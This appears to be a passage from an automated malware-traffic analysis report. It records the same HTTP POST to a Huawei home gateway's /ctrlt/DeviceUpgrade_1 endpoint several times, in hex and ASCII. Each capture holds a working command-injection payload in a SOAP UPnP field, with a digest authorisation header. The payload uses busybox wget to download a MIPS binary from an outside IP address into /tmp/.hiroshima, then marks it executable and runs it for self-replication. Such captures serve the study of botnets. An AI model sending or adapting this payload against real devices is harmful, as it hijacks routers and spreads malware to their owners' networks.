3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 36 39 2e 31 32 39 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.169.129 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima 